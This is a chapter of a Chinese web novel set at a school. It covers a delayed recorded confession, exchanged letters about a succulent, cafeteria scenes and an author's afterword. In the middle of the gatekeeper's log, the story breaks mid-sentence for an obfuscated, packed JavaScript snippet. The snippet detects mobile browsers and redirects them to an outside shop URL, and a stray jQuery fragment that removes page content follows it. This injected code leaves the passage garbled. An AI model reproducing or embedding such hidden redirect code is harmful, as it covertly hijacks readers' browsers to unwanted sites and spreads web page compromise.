第十九章：那些还没寄出的信·终章
---
【周四·清晨·五点四十分·蜃楼学园·广播站】
唐棠今天来得比平时更早。
不是睡不着。
是昨晚收到一条私信。
发件人：渊
内容：「明天早上，广播站有空吗？」
她回复了三个字：「随时有。」
——其实广播站早上没有排班。
——但她说有，就是有。
五点四十三分。
门被敲了三下。
唐棠站起来。
拉开门。
门外站着一个人。
灰色开衫。
扣子扣到第二颗。
头发有点乱。
——和她在论坛帖子里见过的那些偷拍照片，一模一样。
“……渊老师。” 她开口。
渊愣了一下。
“……你认识我？”
“论坛有人发过你的照片。” 唐棠说。
“七年前，校门口，灰色开衫。”
“——”
“有人说你是‘蜃楼学园最神秘的男人’。”
渊沉默了三秒。
“……那个帖子还在吗？” 他问。
“在。” 唐棠说。
“置顶了。”
“——”
“点击量七万八。”
渊又沉默了。
他把手插进口袋。
“……我今天来，” 他说，“是想录一段广播。”
唐棠看着他。
“给沈悸冥的？”
“嗯。”
“——”
“七年前走的时候，忘了说。”
“——”
“现在补。”
唐棠没有问“补什么”。
她侧身。
让出门。
“设备在这边。” 她说。
“——”
“收音话筒是新的。”
“上周刚换。”
“——”
“音质很好。”
---
【周四·清晨·六点零三分·广播站·录音室】
渊坐在话筒前。
他对着那枚海绵罩，沉默了很久。
唐棠站在调音台旁边。
没有催。
没有问。
只是把监听耳机的音量调低了一点。
“……我很久没说过话了。” 渊忽然开口。
唐棠没有说话。
“不是不会说。” 渊说。
“是怕说错。”
“——”
“七年前走的时候，也是怕说错。”
“——”
“写那封信，打了七遍草稿。”
“还是觉得不对。”
“——”
“最后那版，三千七百字。”
“改了三个标点。”
“——”
“还是没敢写最重要那句。”
唐棠看着他。
“最重要那句是什么？” 她问。
渊沉默了很久。
久到窗外那棵梧桐树的影子，从东窗挪到南窗。
然后他说：
“——”
“等我回来。”
“——”
“不是问句。”
“是祈使句。”
“——”
“意思是——”
“你不许不等。”
唐棠没有说话。
她把监听耳机的音量又调低了一点。
——不是怕吵。
——是怕自己的心跳声，录进去。
“……现在可以说了。” 她说。
“——”
“你回来了。”
“——”
“他等了。”
“——”
“这句话——”
“不用打草稿了。”
渊看着她。
很久。
然后他低下头。
笑了一下。
眼睛眯起来。
——和沈悸冥每次“假装没在难过”的时候，一模一样。
“……好。” 他说。
他把话筒推近一厘米。
按下录音键。
“沈悸冥。”
“——”
“我是渊。”
“——”
“七年前走的那天，我在校门口站了很久。”
“不是舍不得走。”
“是在等你来送我。”
“——”
“你没来。”
“我以为你不来了。”
“——”
“后来才知道——”
“你在旧音乐厅。”
“站了一夜。”
“——”
“七年。”
“我以为你在恨我。”
“——”
“七年。”
“其实你只是在等我回来。”
“——”
“上周六，你站在旧音乐厅门口。”
“你说：‘来接你回去。’”
“——”
“那一刻我想——”
“七年。”
“值了。”
“——”
“但还有一句话，七年前忘了说。”
“——”
“今天补上。”
他顿了顿。
“——”
“沈悸冥。”
**“——”
“等我回来。”
“——”
“不是问句。”
“是祈使句。”
“——”
“你不许不等。”
“——”
“因为——”
“我已经学会了。”
“——”
“不用画虚线。”
“也能站到你旁边。”
他松开录音键。
沉默。
三秒。
五秒。
他站起来。
走出录音室。
唐棠站在原地。
看着那枚还在微微震动的话筒。
很久。
她把这段录音保存。
文件名：「渊·七年份草稿·最终版」
——没有“之一”。
---
【周四·上午七点十七分·食堂二号窗】
刘金凤把档口牌翻过来。
「营业中」
今天的第一份意面，她给了沈悸冥。
不是因为他来得最早。
是因为他站在窗口前面，没有点单。
只是看着那锅咕嘟咕嘟冒泡的面汤。
“……渊昨晚来过吗？” 他问。
刘金凤没有回答。
她把意面捞起来。
酱汁浇上去。
肉末。
番茄。
一点罗勒叶。
——和十五年前、渊第一次来吃的那份，一模一样。
“没来。” 她说。
“——”
“但他托人带了东西。”
她从柜台下面摸出一枚U盘。
很小。
银色。
贴纸上手写一行字：
「给沈悸冥」
「——7:03」
沈悸冥低头看着那枚U盘。
很久。
“……他几点走的？” 他问。
“六点四十七。” 刘金凤说。
“——”
“走的时候，在门口站了三分钟。”
“——”
“没回头。”
沈悸冥没有说话。
他把U盘握进掌心。
——七年。
——七遍草稿。
——三千七百字。
——改了三个标点。
——今天，他终于把最重要那句说出来了。
不是问句。
是祈使句。
「你不许不等。」
他把U盘放进口袋。
端起那盘意面。
走到靠窗的位置。
坐下。
低头。
吃了一口。
——面条还是那个软硬度。
——酱汁还是那个配方。
——和渊七年前吃的那份，一模一样。
——凉了七年。
——今天终于有人把它吃掉了。
---
【周四·上午九点零三分·高二三班·教室】
孟萌发现今天的靳朕有点不对劲。
不是那种“系统故障”的不对劲。
是——
他把那本黑色笔记本翻开了。
——三年来，孟萌第一次见他在上课时间打开那个本子。
不是记录数据。
是写字。
一笔一划。
很慢。
像在刻什么。
孟萌伸长脖子。
没看清。
但他看见靳朕写完一行之后，顿了一下。
然后他把那一页撕下来。
折成方块。
放进口袋。
——然后继续低头看平板。
屏幕上还是守望者计划的执行日志。
「进度：91%」
「剩余项：学生说明会、校董会备案、纪念日审批……」
「预计完成时间：本周五」
孟萌收回视线。
他低头假装看书。
三秒。
五秒。
手机震了。
「样本M-001。」
「嗯？」
「你刚才在看什么。」
孟萌：“……”
「没看什么。」
对方已读。
三秒。
「你看了7秒。」
「——」
「视线落点：我的笔记本。」
孟萌把手机按灭。
又打开。
「你写什么了？」
对方正在输入。
很久。
「0713。」
「——」
「存着。」
孟萌看着那行字。
三秒。
五秒。
他把手机收进口袋。
没有回复。
——但他的耳尖，从第九节课红到了午休。
---
【周四·上午十点十七分·旧音乐厅门口】
陆微今天没睡觉。
——不是不想睡。
——是那盆多肉旁边，多了一封信。
信封是牛皮纸的。
边角泛黄。
封口用透明胶带补过。
上面写着：
「给陆微」
「——」
「你隔壁」
陆微蹲下来。
他看着那封信。
三秒。
他把它捡起来。
拆开。
里面只有一行字。
「周湛那盆多肉，今天浇水了。」
「——」
「你送去旧音乐厅那盆。」
「他去看过了。」
「——」
「他说：阳光很好。」
「土也换了。」
「——」
「应该快开了。」
「——」
「你信吗？」
陆微把这行字看了三遍。
然后他把信折起来。
放进口袋。
他站起来。
看着那盆多肉。
“……你听见了。” 他说。
“——”
“有人说你快开了。”
多肉沉默着。
叶片在风里轻轻晃。
“……我不信。” 陆微说。
“——”
“护士说你这个品种不开花。”
“——”
“周湛不信。”
“你隔壁也不信。”
“——”
“现在我也不信了。”
他顿了顿。
“——”
“所以你快开。”
“——”
“不然我们三个——”
“会显得很傻。”
多肉依然沉默。
但陆微蹲下来。
用手指碰了碰它的叶片。
——软的。
——活的。
——确实像要开花的样子。
他站起来。
拍拍膝盖上的灰。
走了。
走了两步。
又停下来。
“……算了。” 他说。
“——”
“傻就傻吧。”
“——”
“反正也不是第一次。”
---
【周四·中午十二点零七分·食堂二号窗】
刘金凤把档口牌翻过来。
「营业中」
今天是一百九十七份。
她把锅洗了。
把灶台擦了。
把明天要用的酱汁调好——还是陈熠的配方。
然后她抬起头。
队伍里，今天少了一个人。
——沈悸冥没来。
——渊也没来。
——他们去哪了？
刘金凤没有问。
她继续捞面。
——反正该来的时候，会来的。
——等七年都等了。
——不差这一顿。
---
【周四·下午两点零三分·行政楼·二十二楼·观景平台】
沈悸冥站在窗前。
渊站在他旁边。
——他们并肩站着。
——看着窗外那栋旧音乐厅。
——七年了。
——第一次。
“……你听了吗？” 渊问。
“嗯。”
“什么时候？”
“早上。”
“——”
“食堂。”
“刘阿姨给的U盘。”
渊没有说话。
他看着窗玻璃上自己的倒影。
——灰色开衫。
——扣子扣到第二颗。
——和七年前离开那天，一模一样。
“……那句‘你不许不等’。” 他说。
“——”
“是七年前就该说的。”
“——”
“拖了七年。”
“——”
“对不起。”
沈悸冥没有看他。
“你这七年，” 他问，“都在练怎么好好说话？”
渊愣了一下。
“……算是吧。” 他说。
“——”
“以前总怕说错。”
“——”
“后来发现——”
“不说错。”
“比说错更糟。”
沈悸冥没有说话。
他把手伸进口袋。
摸出那张折成方块的手绘毕业照。
打开。
第一排正中间。
渊。
眯着眼睛。
笑得很轻。
旁边那个虚线框——
上周六，他自己描实了。
“……你什么时候画的这张？” 渊问。
“七年前。” 沈悸冥说。
“——”
“你走之后。”
“——”
“画了三天。”
“——”
“画完发现——”
“虚线框比人脸画得还认真。”
渊低头看着那行小字。
「给你。」
「你想通了，就把自己P上来。」
「——」
「没想通也没关系。」
「这位置不会被人占。」
他看了很久。
“……我说过这种话？” 他问。
“嗯。”
“什么时候？”
“七年前。” 沈悸冥说。
“——”
“你走的前一天。”
“站在旧音乐厅门口。”
“——”
“你说：‘如果哪天我想通了——’”
“‘我就把自己P上来。’”
“——”
“你说：‘这位置不会被人占。’”
“——”
“你说：‘因为留给你了。’”
渊沉默了很久。
久到窗玻璃上的倒影，被阳光晒成浅金色。
“……我以为你忘了。” 他说。
“没忘。” 沈悸冥说。
“——”
“记了七年。”
“——”
“等你回来。”
“——”
“亲口问你——”
“那个虚线框。”
“什么时候才舍得自己站进来。”
渊没有说话。
他把手伸进口袋。
摸出一支笔。
——很旧。
——笔帽有点松。
——七年前，他离开那天用的那支。
他接过那张毕业照。
在虚线框旁边，画了一个箭头。
箭头指向自己。
旁边写了一行小字：
「这里。」
「——站进来了。」
他把照片还给沈悸冥。
“……好了。” 他说。
“——”
“不用P了。”
“——”
“自己走进来的。”
沈悸冥低头看着那行字。
很久。
他把照片折起来。
放回信封。
贴着胸口的位置。
“……画得还是很丑。” 他说。
“我知道。”
“但留着。”
“为什么？”
沈悸冥没有回答。
他看着窗外那栋旧音乐厅。
“因为等七年。” 他说。
“——”
“等的就是这张画。”
“——”
“丑也留着。”
---
【周四·下午三点四十七分·高二三班·教室】
周湛坐在倒数第三排靠窗的位置。
面前摊着英语书。
——第七单元。
——他今天补到第七单元了。
窗台上放着那盆多肉。
——早上出门前浇过水。
——土还是湿的。
——隔壁昨晚又帮他浇了。
他把那封隔壁写的信拿出来。
又看了一遍。
「周湛那盆多肉，今天浇水了。」
「——」
「你送去旧音乐厅那盆。」
「他去看过了。」
「——」
「他说：阳光很好。」
「土也换了。」
「——」
「应该快开了。」
「——」
「你信吗？」
他把这行字看了三遍。
然后他提起笔。
在信纸背面写了一行字：
「信。」
「——」
「等它开。」
他站起来。
走出教室。
走到隔壁宿舍门口。
把那封信塞进门缝。
然后他回到自己宿舍。
坐在窗边。
看着那盆多肉。
——今天阳光很好。
——土是湿的。
——叶片绿油油的。
——确实像要开花的样子。
他看了很久。
然后他低下头。
继续背英语单词。
——第七单元。
——四十二页。
——还有三页，今天能补完。
---
【周四·傍晚十七点四十七分·校门口】
老张把第八杯茶倒进保温杯盖。
今天日志写得很慢。
「07:03，渊来广播站。」
「他录了一段话。」
「给沈悸冥的。」
「——」
「七年了。」
「终于舍得说了。」
「——」
「09:03，靳朕在笔记本上写了什么。」
「撕了一页。」
「放进口袋。」
「——」
「班长问他写什么。」
「他说：0713。」
「——」
「存着。」
「——」
「10:17，陆微收到一封信。」
「隔壁写的。」
「——」
「信上说：周湛那盆多肉快开了。」
「——」
「陆微说：不信。」
「——」
「但他把信存了。」
「——」
「14:03，沈悸冥和渊在行政楼二十二楼站了一下午。」
「不知道在说什么。」
「——」
「只知道沈悸冥下楼的时候，口袋里那张毕业照——」
「虚线框旁边，多了一行字。」
「——」
「「这里。」」
「「——站进来了。」」
「——」
「15:47，周湛给隔壁回信。」
「——」
「他写
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218664|197471||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
：信。」
「——」
「等它开。」
「——」
「17:03，食堂二号窗今天卖了一百九十七份意面。」
「刘金凤说这是历史新高。」
「——」
「渊和沈悸冥都没来。」
「——」
「但他们明天会来的。」
「——」
「等七年都等了。」
「不差这一顿。」
他写完。
放下笔。
端起茶杯。
抿了一口。
——今天这事，够他在门卫室讲一辈子。
---
【周四·晚十九点零三分·食堂二号窗】
刘金凤把档口牌翻过来。
「营业中」
晚上人少。
窗口只开了一盏灯。
周湛站在队伍里。
前面没人。
后面也没人。
他端着那盘意面。
走到靠窗的位置。
坐下。
低头吃。
——今天的面，煮得刚刚好。
——不软不硬。
——有嚼劲。
——他知道是刘阿姨特意给他煮的。
他吃得很慢。
像在数每一根面条。
吃完。
他把盘子端回收碗处。
刘金凤正在后厨擦灶台。
“今天的面——” 周湛说。
“嗯？”
“刚刚好。”
刘金凤没有回头。
“嗯。” 她说。
“——”
“昨天软，今天硬。”
“——”
“明天再给你调。”
“——”
“调到你觉得最好吃为止。”
周湛站在那里。
很久。
“……谢谢阿姨。” 他说。
“不谢。” 刘金凤说。
“——”
“反正我也没什么事。”
“——”
“煮面。”
“等你们来吃。”
“——”
“一天就过去了。”
周湛没有说话。
他把餐盘放好。
转身。
走了两步。
又停下来。
“……阿姨。”
“嗯？”
“明天——” 他说。
“我来早点。”
刘金凤没有回头。
但她擦灶台的动作，停了半拍。
“多早？” 她问。
“六点。”
“——”
“帮您洗锅。”
刘金凤沉默了三秒。
“……你会洗锅？” 她问。
“会。” 周湛说。
“——”
“疗养院学过。”
“——”
“洗碗工请假的时候。”
“我替过三天。”
刘金凤没有说话。
她把抹布挂好。
“行。” 她说。
“——”
“明天六点。”
“——”
“锅给你留着。”
---
【周四·晚二十点三十三分·旧音乐厅门口】
周湛又来了。
那盆多肉还在。
——叶尖上又有水。
——陆微今天来过了。
他蹲下来。
看着那盆多肉。
“……你隔壁今天给我写信了。” 他说。
“——”
“他说你快开了。”
多肉沉默着。
晚风把它的叶片吹得轻轻晃动。
“——”
“陆微也信。”
“——”
“你隔壁也信。”
“——”
“我也信。”
“——”
“所以你快开。”
“——”
“不然我们四个——”
“会显得很傻。”
多肉没有回答。
但周湛蹲在那里。
很久。
久到月光从台阶边沿爬到台阶中央。
然后他站起来。
拍拍膝盖上的灰。
“……算了。” 他说。
“——”
“傻就傻吧。”
“——”
“反正也不是第一次。”
他走了。
那盆多肉静静地立在台阶边。
月光照在它的叶片上。
——绿油油的。
——肥嘟嘟的。
——叶尖那滴水珠还在。
——亮晶晶的。
——像一颗等了很久很久、终于等到有人来告诉它“你快开了”的眼泪。
---
【周四·晚二十二点零三分·男生宿舍·楼道】
周湛站在宿舍门口。
他没有进去。
他靠在门框上。
看着走廊那盏日光灯。
——一闪一闪。
——和陆微说的一样。
他站了很久。
然后隔壁的门开了。
一个人探出头。
——寸头。
——校服扣到第一颗。
“……你站这干嘛？” 方迟问。
“等人。” 周湛说。
“等谁？”
“等你。”
方迟愣了一下。
“……什么事？”
周湛从口袋里摸出一张折成方块的纸。
递过去。
“回信。” 他说。
方迟接过那封信。
打开。
「信。」
「——」
「等它开。」
他看了三秒。
然后把信折起来。
放进口袋。
“……你不是等花。” 他说。
“——”
“你是等有人信你。”
周湛没有说话。
他看着方迟。
很久。
“……你信吗？” 他问。
方迟没有回答。
他把手伸进口袋。
摸出另一张纸。
——折成方块的。
——边角泛黄。
——封口用透明胶带补过。
「周湛那盆多肉，今天浇水了。」
「——」
「你送去旧音乐厅那盆。」
「他去看过了。」
「——」
「他说：阳光很好。」
「土也换了。」
「——」
「应该快开了。」
「——」
「你信吗？」
方迟看着那封信。
很久。
“……我写这封信的时候。” 他说。
“——”
“其实不知道你会不会回。”
“——”
“也不知道你那盆多肉——”
“到底开不开。”
“——”
“但我还是写了。”
他顿了顿。
“——”
“因为——”
“万一你也在等有人信你呢。”
周湛没有说话。
他把那封回信从方迟口袋里抽出来。
又看了一遍。
「信。」
「——」
「等它开。」
然后他抬起头。
“——”
“我回了。”
“——”
“你收到了。”
“——”
“现在——”
“你信了吗？”
方迟看着他。
三秒。
五秒。
然后他低下头。
“……信了。” 他说。
“——”
“等你开。”
---
---
第十九章·写给读者
这一章。
渊把七年前没说的那句话，录进了广播站那枚新换的话筒里。
「你不许不等。」
——不是问句。
——是祈使句。
——他用了七年，学会好好说话。
——然后他把这句话，亲口说给沈悸冥听了。
沈悸冥听了七遍。
——不对。
——他只听了一遍。
——但他把U盘放进口袋。
——贴着胸口的位置。
——和那张画了七年的毕业照放在一起。
——这大概是他这辈子，最贵的收藏。
——
靳朕在笔记本上写了“0713”。
撕了一页。
放进口袋。
孟萌问他写什么。
他说：「存着。」
——他没有说“存着等陈熠来写分类算法”。
——也没有说“存满一万条就给你验收”。
——他只是说「存着」。
——像存所有说不出口的在乎一样。
——
陆微收到隔壁的信。
信上说：「周湛那盆多肉快开了。」
他说：「我不信。」
但他把信存了。
他还蹲下来，用手指碰了碰那盆多肉的叶片。
——软的。
——活的。
——确实像要开花的样子。
——他嘴上说不信。
——但他把它搬到阳光最好的位置。
——土也换了。
——水也浇了。
——就差在花盆上写「等你开」了。
——
周湛回了那封信。
他只写了一个字：「信。」
然后他站在旧音乐厅门口。
对那盆多肉说：
“你快开。”
“不然我们四个——”
“会显得很傻。”
——他说的“四个”。
——他自己，陆微，方迟。
——还有那盆不会说话的多肉。
——他把多肉也划进“自己人”了。
——
方迟写那封信的时候，不知道周湛会不会回。
但他还是写了。
因为——
“万一你也在等有人信你呢。”
——周湛回了。
——他说：「信。」
——他说：「等它开。」
——方迟说：「等你开。」
——他们等的是花。
——也是彼此。
——